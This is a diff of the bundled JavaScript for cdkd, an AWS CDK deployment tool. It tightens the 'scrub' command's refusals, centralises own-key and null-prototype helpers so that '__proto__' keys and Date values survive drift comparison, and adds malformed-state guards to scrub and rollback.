* asserting the marker occurred exactly once in the resolver, which passed
|
|
68273
|
+
* precisely BECAUSE the other throw spells it differently.
|
|
68274
|
+
*
|
|
68275
|
+
* WHY THE SET STOPS AT "is required", having once been widened to the whole
|
|
68276
|
+
* `Dynamic reference:` family and reverted. The loop's missing per-token `try`
|
|
68277
|
+
* means four SIBLING failures — a deleted SSM parameter, a secret with no
|
|
68278
|
+
* `SecretString`, a missing `JSON_KEY`, a non-JSON secret — abandon the leaf
|
|
68279
|
+
* exactly the same way, so on the surface they belong here. They do not,
|
|
68280
|
+
* because scrub resolves with template DEFAULTS and takes no `--parameters`:
|
|
68281
|
+
* an `Fn::Sub` that warn-and-KEEPS its raw `${Field}` produces a JSON_KEY miss
|
|
68282
|
+
* on a perfectly healthy stack, so refusing on that class refuses ordinary
|
|
68283
|
+
* stacks (measured — it reddened
|
|
68284
|
+
* `tests/unit/cli/commands/scrub-cross-region-secret.test.ts`). A nameless
|
|
68285
|
+
* reference is far narrower: an UNBOUND variable keeps its literal `${...}`
|
|
68286
|
+
* rather than vanishing, so ordinary missing-parameter resolution cannot
|
|
68287
|
+
* produce one.
|
|
68288
|
+
*
|
|
68289
|
+
* That is narrower, NOT universal, and the difference is stated rather than
|
|
68290
|
+
* glossed: a parameter DECLARED with `Default: ''` binds the empty string
|
|
68291
|
+
* verbatim (`isUnboundTemplateParameter` returns false once `Default` is
|
|
68292
|
+
* present), so `{{resolve:ssm-secure:${P}}}` assembles to
|
|
68293
|
+
* `{{resolve:ssm-secure:}}` and refuses here — while the same stack deploys
|
|
68294
|
+
* fine under `--parameters P=/real/name`. The failure is fail-CLOSED (a
|
|
68295
|
+
* refusal, never a silent clean run) and the shape is a rare one, so it is
|
|
68296
|
+
* accepted rather than worked around; go-to-k/cdkd#3160 carries it alongside
|
|
68297
|
+
* the sibling class, which needs a countable unverifiable-leaf finding rather
|
|
68298
|
+
* than a refusal.
|
|
68299
|
+
*
|
|
68300
|
+
* It is a loudness REGRESSION rather than a new gap: before go-to-k/cdkd#2689
|
|
68301
|
+
* fixed `ssmParameterName`, this input produced a bogus `secretName` and
|
|
68302
|
+
* therefore an `ambiguous` verdict, whose typed error scrub already re-raises.
|
|
68303
|
+
* The old, wrong-in-substance refusal was backstopping this one.
|
|
68304
|
+
*/
|
|
68305
|
+
function isNamelessDynamicReferenceFailure(err) {
|
|
68306
|
+
return err instanceof Error && errorCauseChain(err).some((link) => link instanceof Error && link.message.includes(DYNAMIC_REFERENCE_PREFIX) && NAMELESS_DYNAMIC_REFERENCE_MARKERS.some((marker) => link.message.includes(marker)));
|
|
68307
|
+
}
|
|
68308
|
+
/**
|
|
67985
68309
|
* A secrets map with its OWN identity whose entries ARE `target`'s (issue
|
|
67986
68310
|
* #2531): every read and write goes to `target`; nothing is stored here.
|
|
67987
68311
|
*
|
|
@@ -68425,6 +68749,13 @@ async function scrubStack(stack, region, stateBackend, lockManager, opts) {
|
|
|
68425
68749
|
};
|
|
68426
68750
|
}
|
|
68427
68751
|
const state = loaded.state;
|
|
68752
|
+
let malformedResources;
|
|
68753
|
+
if (opts.dryRun) {
|
|
68754
|
+
if (repairMalformedResourcesForReadOnly(state)) {
|
|
68755
|
+
malformedResources = true;
|
|
68756
|
+
logger.warn(malformedResourcesWarning(stack.stackName, region));
|
|
68757
|
+
}
|
|
68758
|
+
} else if (!hasReadableResources(state)) throw new ScrubRefusalError(malformedStateRefusalMessage(stack.stackName, region), STATE_RESOURCES_MALFORMED);
|
|
68428
68759
|
const perResourceTemplateProps = /* @__PURE__ */ new Map();
|
|
68429
68760
|
const outputsTemplateSource = {};
|
|
68430
68761
|
const resolvers = new ScrubResolvers(region);
|
|
@@ -68469,7 +68800,7 @@ async function scrubStack(stack, region, stateBackend, lockManager, opts) {
|
|
|
68469
68800
|
const collisions = [];
|
|
68470
68801
|
let outputsSourceUntrusted = false;
|
|
68471
68802
|
await withSharedDrainBudget(async () => {
|
|
68472
|
-
for (const logicalId of Object.keys(state.resources)) {
|
|
68803
|
+
for (const logicalId of Object.keys(state.resources ?? {})) {
|
|
68473
68804
|
const templateResource = templateResources[logicalId];
|
|
68474
68805
|
if (!templateResource?.Properties) continue;
|
|
68475
68806
|
const recordedSecretValues = /* @__PURE__ */ new Map();
|
|
@@ -68486,7 +68817,7 @@ async function scrubStack(stack, region, stateBackend, lockManager, opts) {
|
|
|
68486
68817
|
try {
|
|
68487
68818
|
await resolver.resolve(resolveInput, resourceContext);
|
|
68488
68819
|
} catch (err) {
|
|
68489
|
-
if (isRegionAmbiguousRefusal(err)) throw err;
|
|
68820
|
+
if (isRegionAmbiguousRefusal(err) || isNamelessDynamicReferenceFailure(err)) throw err;
|
|
68490
68821
|
logger.debug(`Resolution of ${logicalId} during scrub was partial: ${maskSecretsInText(err instanceof Error ? err.message : String(err), recordedSecretValues)}`);
|
|
68491
68822
|
}
|
|
68492
68823
|
perResourceTemplateProps.set(logicalId, templateResource.Properties);
|
|
@@ -68508,7 +68839,7 @@ async function scrubStack(stack, region, stateBackend, lockManager, opts) {
|
|
|
68508
68839
|
try {
|
|
68509
68840
|
await resolver.resolve(resolveInput, resolverContext(recordedSecretValues));
|
|
68510
68841
|
} catch (err) {
|
|
68511
|
-
if (isRegionAmbiguousRefusal(err)) throw err;
|
|
68842
|
+
if (isRegionAmbiguousRefusal(err) || isNamelessDynamicReferenceFailure(err)) throw err;
|
|
68512
68843
|
logger.debug(`Resolution of orphan record ${record.logicalId} during scrub was partial: ${maskSecretsInText(err instanceof Error ? err.message : String(err), recordedSecretValues)}`);
|
|
68513
68844
|
}
|
|
68514
68845
|
}
|
|
@@ -68531,7 +68862,7 @@ async function scrubStack(stack, region, stateBackend, lockManager, opts) {
|
|
|
68531
68862
|
try {
|
|
68532
68863
|
exportName = await resolver.resolve(nameSource, nameContext);
|
|
68533
68864
|
} catch (err) {
|
|
68534
|
-
if (isRegionAmbiguousRefusal(err)) throw err;
|
|
68865
|
+
if (isRegionAmbiguousRefusal(err) || isNamelessDynamicReferenceFailure(err)) throw err;
|
|
68535
68866
|
nameFailed = true;
|
|
68536
68867
|
nameError = err;
|
|
68537
68868
|
}
|
|
@@ -68569,7 +68900,7 @@ async function scrubStack(stack, region, stateBackend, lockManager, opts) {
|
|
|
68569
68900
|
try {
|
|
68570
68901
|
await resolver.resolve(valueSource, valueContext);
|
|
68571
68902
|
} catch (err) {
|
|
68572
|
-
if (isRegionAmbiguousRefusal(err)) throw err;
|
|
68903
|
+
if (isRegionAmbiguousRefusal(err) || isNamelessDynamicReferenceFailure(err)) throw err;
|
|
68573
68904
|
logger.debug(`Resolution of output ${name} during scrub was partial: ${maskSecretsInText(err instanceof Error ? err.message : String(err), outputSecrets)}`);
|
|
68574
68905
|
}
|
|
68575
68906
|
}
|
|
@@ -68588,12 +68919,13 @@ async function scrubStack(stack, region, stateBackend, lockManager, opts) {
|
|
|
68588
68919
|
secretsFound: 0,
|
|
68589
68920
|
secretBearingKeys: secretBearingKeys.length,
|
|
68590
68921
|
unverifiableReads: prePassFindings.unverifiable.length,
|
|
68922
|
+
...malformedResources ? { malformedResources } : {},
|
|
68591
68923
|
outputs: state.outputs,
|
|
68592
68924
|
exportNameDisplay: (name) => secretSafeKeyDisplay(name, outputSecrets)
|
|
68593
68925
|
};
|
|
68594
68926
|
let recordsChanged = 0;
|
|
68595
68927
|
const newResources = {};
|
|
68596
|
-
for (const [logicalId, record] of Object.entries(state.resources)) {
|
|
68928
|
+
for (const [logicalId, record] of Object.entries(state.resources ?? {})) {
|
|
68597
68929
|
const secrets = perResourceSecrets.get(logicalId);
|
|
68598
68930
|
const templateProps = perResourceTemplateProps.get(logicalId);
|
|
68599
68931
|
const ownSecrets = secrets ?? /* @__PURE__ */ new Map();
|
|
@@ -68636,6 +68968,7 @@ async function scrubStack(stack, region, stateBackend, lockManager, opts) {
|
|
|
68636
68968
|
secretsFound: totalSecrets,
|
|
68637
68969
|
secretBearingKeys: secretBearingKeys.length,
|
|
68638
68970
|
unverifiableReads: prePassFindings.unverifiable.length,
|
|
68971
|
+
...malformedResources ? { malformedResources } : {},
|
|
68639
68972
|
outputs: newOutputs,
|
|
68640
68973
|
exportNameDisplay: (name) => secretSafeKeyDisplay(name, outputSecrets)
|
|
68641
68974
|
};
|
|
@@ -68661,6 +68994,87 @@ function createScrubCommand() {
|
|
|
68661
68994
|
return cmd;
|
|
68662
68995
|
}
|
|
68663
68996
|
|
|
68997
|
+
//#endregion
|
|
68998
|
+
//#region src/utils/own-keys.ts
|
|
68999
|
+
/**
|
|
69000
|
+
* Own-key helpers for the bags that reach cdkd through `JSON.parse` — a
|
|
69001
|
+
* `state.json` record, a Cloud Control `Properties` document, a template — and
|
|
69002
|
+
* for the raw SDK readbacks compared against them.
|
|
69003
|
+
*
|
|
69004
|
+
* `JSON.parse` yields a key literally named `__proto__` as an ORDINARY own
|
|
69005
|
+
* data property, and every comparator / rebuild walk over such a bag has to
|
|
69006
|
+
* keep treating it as one. Two idioms silently do not:
|
|
69007
|
+
*
|
|
69008
|
+
* - **Rebuilding onto a `{}` literal.** `out[k] = v` with `k === '__proto__'`
|
|
69009
|
+
* runs `Object.prototype`'s accessor, SETS the node's prototype and DROPS
|
|
69010
|
+
* the key — on BOTH comparison sides when the walk is a canonicalizer, so a
|
|
69011
|
+
* drift at that key is invisible (issue
|
|
69012
|
+
* [#3121](https://github.com/go-to-k/cdkd/issues/3121)), and on the WRITE
|
|
69013
|
+
* path the member vanishes from the payload (issue
|
|
69014
|
+
* [#2899](https://github.com/go-to-k/cdkd/issues/2899)). Rebuild onto
|
|
69015
|
+
* {@link nullPrototypeRecord} (no accessor there, so plain assignment
|
|
69016
|
+
* defines an own key) or, onto an existing plain object, define the key
|
|
69017
|
+
* with {@link defineOwnKey}.
|
|
69018
|
+
* - **`key in bag` membership.** `in` reads the prototype chain, so a key
|
|
69019
|
+
* named `constructor` / `toString` answers `true` for every plain object
|
|
69020
|
+
* and the recursion then walks `Object`'s function. {@link hasOwnKey} asks
|
|
69021
|
+
* the bag alone; {@link ownValue} is the matching read.
|
|
69022
|
+
*
|
|
69023
|
+
* And ONE shape test every such walk needs FIRST: {@link hasPlainPrototype}.
|
|
69024
|
+
* A non-plain object (`Date`, `Uint8Array`, `Map`, a class instance) has no
|
|
69025
|
+
* own enumerable keys, so a key-walk over one FABRICATES `{}` (or an index
|
|
69026
|
+
* map) and any two of them compare equal. Such a value is returned by
|
|
69027
|
+
* IDENTITY and compared as itself.
|
|
69028
|
+
*
|
|
69029
|
+
* Extracted from `src/cli/commands/drift.ts` (issue #2899, swept by PR #3124)
|
|
69030
|
+
* so the analyzer-side canonicalizers (#3121) share ONE spelling rather than a
|
|
69031
|
+
* fourth copy. A LEAF module, deliberately, and it must stay one: a value
|
|
69032
|
+
* import from a module other suites `vi.mock` wholesale reds those suites
|
|
69033
|
+
* with a missing-export failure (which is why `secret-redaction.ts` keeps its
|
|
69034
|
+
* own `hasPlainPrototype` — several drift suites mock that module).
|
|
69035
|
+
*/
|
|
69036
|
+
/** Own-key membership: `in` reads the prototype chain, which a `JSON.parse`d bag never means. */
|
|
69037
|
+
function hasOwnKey(target, key) {
|
|
69038
|
+
return Object.prototype.hasOwnProperty.call(target, key);
|
|
69039
|
+
}
|
|
69040
|
+
/** An own-key read: `undefined` for an inherited name (`__proto__`, `constructor`, ...). */
|
|
69041
|
+
function ownValue(target, key) {
|
|
69042
|
+
return hasOwnKey(target, key) ? target[key] : void 0;
|
|
69043
|
+
}
|
|
69044
|
+
/** An ordinary (writable, enumerable, configurable) own data property — never the prototype. */
|
|
69045
|
+
function defineOwnKey(target, key, value) {
|
|
69046
|
+
Object.defineProperty(target, key, {
|
|
69047
|
+
value,
|
|
69048
|
+
writable: true,
|
|
69049
|
+
enumerable: true,
|
|
69050
|
+
configurable: true
|
|
69051
|
+
});
|
|
69052
|
+
}
|
|
69053
|
+
/**
|
|
69054
|
+
* Does this value carry an ORDINARY object prototype?
|
|
69055
|
+
*
|
|
69056
|
+
* `typeof v === 'object'` admits `Date` / `Map` / `Set` / `Uint8Array` / class
|
|
69057
|
+
* instances, whose own enumerable keys are `[]` — so a key-walk over one
|
|
69058
|
+
* reports "no contradiction" between two values that actually differ, and a
|
|
69059
|
+
* rebuild over one fabricates `{}`. A NULL prototype counts as plain: it is
|
|
69060
|
+
* what {@link nullPrototypeRecord} yields, and a walk must be able to re-walk
|
|
69061
|
+
* its own output.
|
|
69062
|
+
*/
|
|
69063
|
+
function hasPlainPrototype(value) {
|
|
69064
|
+
const proto = Object.getPrototypeOf(value);
|
|
69065
|
+
return proto === Object.prototype || proto === null;
|
|
69066
|
+
}
|
|
69067
|
+
/**
|
|
69068
|
+
* A fresh rebuild target with NO prototype, so `out['__proto__'] = v` defines
|
|
69069
|
+
* an own key instead of setting the prototype. `JSON.stringify`,
|
|
69070
|
+
* `Object.keys` / `entries` and `structuredClone` all read it like a plain
|
|
69071
|
+
* object; only `instanceof Object` and a direct `.hasOwnProperty()` method call
|
|
69072
|
+
* do not, and no consumer on the drift path uses either.
|
|
69073
|
+
*/
|
|
69074
|
+
function nullPrototypeRecord() {
|
|
69075
|
+
return Object.create(null);
|
|
69076
|
+
}
|
|
69077
|
+
|
|
68664
69078
|
//#endregion
|
|
68665
69079
|
//#region src/analyzer/drift-normalize.ts
|
|
68666
69080
|
/**
|
|
@@ -68693,6 +69107,24 @@ function createScrubCommand() {
|
|
|
68693
69107
|
* `properties`-fallback baseline (a resource deployed before observed-capture,
|
|
68694
69108
|
* whose baseline is the user's TEMPLATE order). Sorting only the AWS read side
|
|
68695
69109
|
* would manufacture drift on exactly that path.
|
|
69110
|
+
*
|
|
69111
|
+
* Every object arm below returns a NON-PLAIN object (a `Date` the raw SDK
|
|
69112
|
+
* readback carries, a `Uint8Array`) BY IDENTITY and rebuilds a plain one onto
|
|
69113
|
+
* a NULL-prototype record (issue
|
|
69114
|
+
* [#3121](https://github.com/go-to-k/cdkd/issues/3121), the analyzer-side
|
|
69115
|
+
* population of the class PR #3124 closed in `drift.ts`). A `{}` literal
|
|
69116
|
+
* rebuild had two consequences, both on the COMPARISON copies: an own
|
|
69117
|
+
* `__proto__` key (what `JSON.parse` yields from `state.json`) became the
|
|
69118
|
+
* rebuilt node's prototype and was dropped on BOTH sides, so a drift at that
|
|
69119
|
+
* key was invisible; and `Object.entries(new Date())` is `[]`, so a `Date`
|
|
69120
|
+
* member was flattened to `{}` before `calculateResourceDrift` could see it
|
|
69121
|
+
* (phantom drift against an ISO-string baseline, and `--accept` persisted the
|
|
69122
|
+
* `{}`). The identity return is what makes the second visible to the
|
|
69123
|
+
* comparator; the null-prototype target is what keeps the first an own key.
|
|
69124
|
+
* One layer LATER the same flattening survives in `secret-redaction.ts`'s
|
|
69125
|
+
* value walk, which `--accept` runs over a resource that RECORDS a secret
|
|
69126
|
+
* (issue #2427) -- so the ISO string reaches the baseline only where that
|
|
69127
|
+
* walk does not run.
|
|
68696
69128
|
*/
|
|
68697
69129
|
function canonicalizeTagListsDeep(v) {
|
|
68698
69130
|
if (Array.isArray(v)) {
|
|
@@ -68706,7 +69138,8 @@ function canonicalizeTagListsDeep(v) {
|
|
|
68706
69138
|
return mapped;
|
|
68707
69139
|
}
|
|
68708
69140
|
if (v && typeof v === "object") {
|
|
68709
|
-
|
|
69141
|
+
if (!hasPlainPrototype(v)) return v;
|
|
69142
|
+
const out = nullPrototypeRecord();
|
|
68710
69143
|
for (const [k, val] of Object.entries(v)) out[k] = canonicalizeTagListsDeep(val);
|
|
68711
69144
|
return out;
|
|
68712
69145
|
}
|
|
@@ -68721,7 +69154,8 @@ function canonicalizeIdArraysDeep(v) {
|
|
|
68721
69154
|
return mapped;
|
|
68722
69155
|
}
|
|
68723
69156
|
if (v && typeof v === "object") {
|
|
68724
|
-
|
|
69157
|
+
if (!hasPlainPrototype(v)) return v;
|
|
69158
|
+
const out = nullPrototypeRecord();
|
|
68725
69159
|
for (const [k, val] of Object.entries(v)) out[k] = canonicalizeIdArraysDeep(val);
|
|
68726
69160
|
return out;
|
|
68727
69161
|
}
|
|
@@ -68878,7 +69312,8 @@ function walkUnordered(v, path, paths) {
|
|
|
68878
69312
|
return mapped;
|
|
68879
69313
|
}
|
|
68880
69314
|
if (v && typeof v === "object") {
|
|
68881
|
-
|
|
69315
|
+
if (!hasPlainPrototype(v)) return v;
|
|
69316
|
+
const out = nullPrototypeRecord();
|
|
68882
69317
|
for (const [k, val] of Object.entries(v)) out[k] = walkUnordered(val, path === "" ? k : `${path}.${k}`, paths);
|
|
68883
69318
|
return out;
|
|
68884
69319
|
}
|
|
@@ -69021,14 +69456,16 @@ function isIgnoredPath(path, ignorePaths) {
|
|
|
69021
69456
|
* common case of "no drift" allocates nothing.
|
|
69022
69457
|
*/
|
|
69023
69458
|
function diffAt(path, stateValue, awsValue, out, ignorePaths, unionWalkObjects) {
|
|
69024
|
-
|
|
69459
|
+
const stateForm = jsonForm(stateValue);
|
|
69460
|
+
const awsForm = jsonForm(awsValue);
|
|
69461
|
+
if (deepEqual(stateForm, awsForm)) return;
|
|
69025
69462
|
if (typeof stateValue === "string" && stateValue.includes("{{resolve:")) return;
|
|
69026
|
-
if (isPlainObject(
|
|
69027
|
-
const keys = unionWalkObjects ? /* @__PURE__ */ new Set([...Object.keys(
|
|
69463
|
+
if (isPlainObject(stateForm) && isPlainObject(awsForm) && !Array.isArray(stateForm) && !Array.isArray(awsForm)) {
|
|
69464
|
+
const keys = unionWalkObjects ? /* @__PURE__ */ new Set([...Object.keys(stateForm), ...Object.keys(awsForm)]) : Object.keys(stateForm);
|
|
69028
69465
|
for (const key of keys) {
|
|
69029
69466
|
const childPath = `${path}.${key}`;
|
|
69030
69467
|
if (isIgnoredPath(childPath, ignorePaths)) continue;
|
|
69031
|
-
diffAt(childPath,
|
|
69468
|
+
diffAt(childPath, stateForm[key], awsForm[key], out, ignorePaths, unionWalkObjects);
|
|
69032
69469
|
}
|
|
69033
69470
|
return;
|
|
69034
69471
|
}
|
|
@@ -69039,11 +69476,39 @@ function diffAt(path, stateValue, awsValue, out, ignorePaths, unionWalkObjects)
|
|
|
69039
69476
|
});
|
|
69040
69477
|
}
|
|
69041
69478
|
/**
|
|
69479
|
+
* The form `JSON.stringify` would serialize a value as, for the ONE shape the
|
|
69480
|
+
* comparator's "JSON-roundtrip equality" contract did not cover: a NON-PLAIN
|
|
69481
|
+
* object carrying `toJSON` (a `Date`, which serializes as its ISO string; a
|
|
69482
|
+
* `Buffer`, whose prototype `toJSON` yields `{type, data}`). Every other value
|
|
69483
|
+
* is returned untouched. What the comparator then does with an untouched
|
|
69484
|
+
* non-plain object is what it does with a plain one -- it walks the OWN keys
|
|
69485
|
+
* (`deepEqual` below, and `diffAt`'s descend gate, test `typeof === 'object'`
|
|
69486
|
+
* and nothing about the prototype) -- so a `Uint8Array` compares by its
|
|
69487
|
+
* index keys (the persisted `{"0":1,"1":2}` equals the readback typed array,
|
|
69488
|
+
* the convergence this fold exists for) and a keyless `Map` / class instance
|
|
69489
|
+
* compares equal to `{}` and to any other keyless one. That last case is
|
|
69490
|
+
* PRE-EXISTING and is not what the canonicalizers' identity return protects:
|
|
69491
|
+
* they keep a non-plain node from being REBUILT as `{}`, and this fold keeps
|
|
69492
|
+
* the JSON-carrying ones from drifting forever against their persisted form;
|
|
69493
|
+
* neither adds a prototype guard here, because a bare `hasPlainPrototype`
|
|
69494
|
+
* gate would break the typed-array convergence (PR #3148 delta review).
|
|
69495
|
+
*/
|
|
69496
|
+
function jsonForm(value) {
|
|
69497
|
+
if (value === null || typeof value !== "object" || hasPlainPrototype(value)) return value;
|
|
69498
|
+
const toJSON = value.toJSON;
|
|
69499
|
+
return typeof toJSON === "function" ? toJSON.call(value) : value;
|
|
69500
|
+
}
|
|
69501
|
+
/**
|
|
69042
69502
|
* Structural equality used by the drift comparator. Identical to a
|
|
69043
69503
|
* plain `JSON.stringify`-roundtrip equality except it tolerates
|
|
69044
69504
|
* undefined-vs-missing-key gaps the same way (both serialize away).
|
|
69505
|
+
* `Date`s (and anything else non-plain with `toJSON`) are compared in their
|
|
69506
|
+
* JSON form via {@link jsonForm}, so the persisted ISO string of an accepted
|
|
69507
|
+
* readback equals the `Date` the next readback returns.
|
|
69045
69508
|
*/
|
|
69046
69509
|
function deepEqual(a, b) {
|
|
69510
|
+
a = jsonForm(a);
|
|
69511
|
+
b = jsonForm(b);
|
|
69047
69512
|
if (a === b) return true;
|
|
69048
69513
|
if (a === null || b === null || a === void 0 || b === void 0) return a === b;
|
|
69049
69514
|
if (typeof a !== typeof b) return false;
|
|
@@ -69126,6 +69591,12 @@ function isPlainObject(value) {
|
|
|
69126
69591
|
* and manufacturing a different phantom drift, so the pass is scoped to the
|
|
69127
69592
|
* object shape — which is what `AWS::S3::BucketPolicy` and the other
|
|
69128
69593
|
* `PolicyDocument`-typed properties carry in cdkd state.
|
|
69594
|
+
*
|
|
69595
|
+
* The two rewrite walks rebuild onto a NULL-prototype record and return a
|
|
69596
|
+
* non-plain object by identity, for the reason `drift-normalize.ts`'s header
|
|
69597
|
+
* gives (issue #3121): they run on the comparison copies of BOTH sides, so a
|
|
69598
|
+
* `{}` literal rebuild dropped an own `__proto__` key symmetrically and
|
|
69599
|
+
* flattened a `Date` to `{}` before the comparator saw it.
|
|
69129
69600
|
*/
|
|
69130
69601
|
/**
|
|
69131
69602
|
* An IAM unique id as it appears in a rendered policy. The prefix set is
|
|
@@ -69215,7 +69686,8 @@ function collectPrincipalForms(value) {
|
|
|
69215
69686
|
function rewritePrincipalUniqueIds(value, arnByUniqueId) {
|
|
69216
69687
|
if (Array.isArray(value)) return value.map((el) => rewritePrincipalUniqueIds(el, arnByUniqueId));
|
|
69217
69688
|
if (!value || typeof value !== "object") return value;
|
|
69218
|
-
|
|
69689
|
+
if (!hasPlainPrototype(value)) return value;
|
|
69690
|
+
const out = nullPrototypeRecord();
|
|
69219
69691
|
for (const [key, member] of Object.entries(value)) out[key] = key === "Principal" || key === "NotPrincipal" ? rewritePrincipalValue(member, arnByUniqueId) : rewritePrincipalUniqueIds(member, arnByUniqueId);
|
|
69220
69692
|
return out;
|
|
69221
69693
|
}
|
|
@@ -69224,7 +69696,8 @@ function rewritePrincipalValue(value, arnByUniqueId) {
|
|
|
69224
69696
|
if (typeof value === "string") return swap(value);
|
|
69225
69697
|
if (Array.isArray(value)) return value.map(swap);
|
|
69226
69698
|
if (!value || typeof value !== "object") return value;
|
|
69227
|
-
|
|
69699
|
+
if (!hasPlainPrototype(value)) return value;
|
|
69700
|
+
const out = nullPrototypeRecord();
|
|
69228
69701
|
for (const [key, member] of Object.entries(value)) {
|
|
69229
69702
|
if (key !== "AWS") {
|
|
69230
69703
|
out[key] = rewritePrincipalUniqueIds(member, arnByUniqueId);
|
|
@@ -69482,7 +69955,12 @@ const CC_API_FALLBACK_DENY_LIST = {
|
|
|
69482
69955
|
*
|
|
69483
69956
|
* Strips are shallow only — fields are removed if they appear at any
|
|
69484
69957
|
* depth (recursive walk) but the values themselves are not modified.
|
|
69485
|
-
* Arrays are walked element-wise.
|
|
69958
|
+
* Arrays are walked element-wise. The rebuild target is a NULL-prototype
|
|
69959
|
+
* record and a non-plain object is returned by identity, for the reason
|
|
69960
|
+
* `drift-normalize.ts`'s header gives (issue #3121): the walk feeds the
|
|
69961
|
+
* comparison copy, so a `{}` literal rebuild dropped an own `__proto__` key
|
|
69962
|
+
* (which the `JSON.parse`d `Properties` document can carry) and flattened a
|
|
69963
|
+
* non-plain member to `{}`.
|
|
69486
69964
|
*/
|
|
69487
69965
|
/**
|
|
69488
69966
|
* Field names AWS attaches to nearly every resource. These are NOT user
|
|
@@ -69538,7 +70016,8 @@ function stripWalk(value) {
|
|
|
69538
70016
|
if (value === null || value === void 0) return value;
|
|
69539
70017
|
if (Array.isArray(value)) return value.map(stripWalk);
|
|
69540
70018
|
if (typeof value === "object") {
|
|
69541
|
-
|
|
70019
|
+
if (!hasPlainPrototype(value)) return value;
|
|
70020
|
+
const out = nullPrototypeRecord();
|
|
69542
70021
|
for (const [key, child] of Object.entries(value)) {
|
|
69543
70022
|
if (ALWAYS_STRIPPED_FIELDS.has(key)) continue;
|
|
69544
70023
|
out[key] = stripWalk(child);
|
|
@@ -70949,10 +71428,10 @@ function buildReadCurrentStateContext(state, excludedLogicalId) {
|
|
|
70949
71428
|
* below would then compare against the accepted one. `undefined` is the answer
|
|
70950
71429
|
* "the bag has nothing here", which is what an absent segment means.
|
|
70951
71430
|
*
|
|
70952
|
-
* Exported, like `setAtPath`, as a test seam
|
|
70953
|
-
*
|
|
70954
|
-
*
|
|
70955
|
-
* the
|
|
71431
|
+
* Exported, like `setAtPath`, as a test seam: the own-key rule is pinned on
|
|
71432
|
+
* the helpers directly, and since issue #3121 (the comparison chain's
|
|
71433
|
+
* normalisers keep the key as an own key on both sides) a top-level
|
|
71434
|
+
* `__proto__` drift also reaches both through the command.
|
|
70956
71435
|
*/
|
|
70957
71436
|
function getAtPath(source, path) {
|
|
70958
71437
|
if (path.length === 0) return source;
|
|
@@ -70991,23 +71470,6 @@ function setAtPath(target, path, value) {
|
|
|
70991
71470
|
}
|
|
70992
71471
|
defineOwnKey(cursor, segments[segments.length - 1], value);
|
|
70993
71472
|
}
|
|
70994
|
-
/** Own-key membership: `in` reads the prototype chain, which a `JSON.parse`d bag never means. */
|
|
70995
|
-
function hasOwnKey(target, key) {
|
|
70996
|
-
return Object.prototype.hasOwnProperty.call(target, key);
|
|
70997
|
-
}
|
|
70998
|
-
/** An own-key read: `undefined` for an inherited name (`__proto__`, `constructor`, ...). */
|
|
70999
|
-
function ownValue(target, key) {
|
|
71000
|
-
return hasOwnKey(target, key) ? target[key] : void 0;
|
|
71001
|
-
}
|
|
71002
|
-
/** An ordinary (writable, enumerable, configurable) own data property — never the prototype. */
|
|
71003
|
-
function defineOwnKey(target, key, value) {
|
|
71004
|
-
Object.defineProperty(target, key, {
|
|
71005
|
-
value,
|
|
71006
|
-
writable: true,
|
|
71007
|
-
enumerable: true,
|
|
71008
|
-
configurable: true
|
|
71009
|
-
});
|
|
71010
|
-
}
|
|
71011
71473
|
/**
|
|
71012
71474
|
* `--accept`: state ← AWS.
|
|
71013
71475
|
*
|
|
@@ -71365,22 +71827,6 @@ function isPlainRecord(value) {
|
|
|
71365
71827
|
return typeof value === "object" && value !== null && !Array.isArray(value);
|
|
71366
71828
|
}
|
|
71367
71829
|
/**
|
|
71368
|
-
* Does this value carry an ORDINARY object prototype?
|
|
71369
|
-
*
|
|
71370
|
-
* {@link isPlainRecord} admits `Date` / `Map` / `Set` / class instances, whose
|
|
71371
|
-
* own enumerable keys are `[]` — so a key-walk over one reports "no
|
|
71372
|
-
* contradiction" between two values that actually differ. The redaction walk's
|
|
71373
|
-
* `deepEqualJsonValue` carries the same guard for the same reason
|
|
71374
|
-
* (`secret-redaction.ts`, issue #2869): a `Date` anchor corroborates NOTHING.
|
|
71375
|
-
* Kept file-local rather than imported because `secret-redaction.js` is
|
|
71376
|
-
* `vi.mock`ed by several drift suites, and a value import from it reds them
|
|
71377
|
-
* with a missing-export failure.
|
|
71378
|
-
*/
|
|
71379
|
-
function hasPlainPrototype(value) {
|
|
71380
|
-
const proto = Object.getPrototypeOf(value);
|
|
71381
|
-
return proto === Object.prototype || proto === null;
|
|
71382
|
-
}
|
|
71383
|
-
/**
|
|
71384
71830
|
* Merge the AWS-current value with the revert baseline, KEEPING every path the
|
|
71385
71831
|
* baseline does not declare (issue
|
|
71386
71832
|
* [#1626](https://github.com/go-to-k/cdkd/issues/1626) items 2 + 3).
|
|
@@ -78821,6 +79267,7 @@ async function rollbackCommand(stackArg, options) {
|
|
|
78821
79267
|
if (!journal || journal.segments.length === 0) throw new Error(`Nothing to roll back for '${safe(stackName)}' (${safe(region)}). Run 'cdkd deploy' to (re)deploy, or 'cdkd destroy' to clean up.`);
|
|
78822
79268
|
if (!stateData) throw new Error(`Rollback journal exists for '${safe(stackName)}' (${safe(region)}) but its state.json is missing (keys: ${safe(`${setup.prefix}/${stackName}/${region}`)}/state.json and .../rollback-journal.json). State appears corrupted — inspect the bucket manually.`);
|
|
78823
79269
|
const baseState = stateData.state;
|
|
79270
|
+
refuseMalformedState(baseState, stackName, region);
|
|
78824
79271
|
const stateResources = { ...baseState.resources };
|
|
78825
79272
|
const mintedOrphans = [];
|
|
78826
79273
|
const orphanLogicalIds = new Set(options.orphan ?? []);
|
|
@@ -80886,7 +81333,9 @@ var AttributeFetcher = class {
|
|
|
80886
81333
|
ok: false,
|
|
80887
81334
|
reason
|
|
80888
81335
|
};
|
|
80889
|
-
const
|
|
81336
|
+
const orphan = this.orphans[orphanLogicalId];
|
|
81337
|
+
const stored = orphan.attributes?.[attribute];
|
|
81338
|
+
const cached = isImpossibleEmptyStoredAttribute(orphan.resourceType, attribute, stored) ? void 0 : stored;
|
|
80890
81339
|
if (cached === void 0) {
|
|
80891
81340
|
this.logger.warn(`--force: state.attributes also lacks '${orphanLogicalId}.${attribute}'; leaving the original intrinsic in place.`);
|
|
80892
81341
|
return {
|
|
@@ -80955,7 +81404,7 @@ async function rewriteResourceReferences(state, orphanLogicalIds, providerRegist
|
|
|
80955
81404
|
const rewrites = [];
|
|
80956
81405
|
const unresolvable = [];
|
|
80957
81406
|
const newResources = {};
|
|
80958
|
-
for (const [logicalId, resource] of Object.entries(state.resources)) {
|
|
81407
|
+
for (const [logicalId, resource] of Object.entries(state.resources ?? {})) {
|
|
80959
81408
|
if (orphanSet.has(logicalId)) continue;
|
|
80960
81409
|
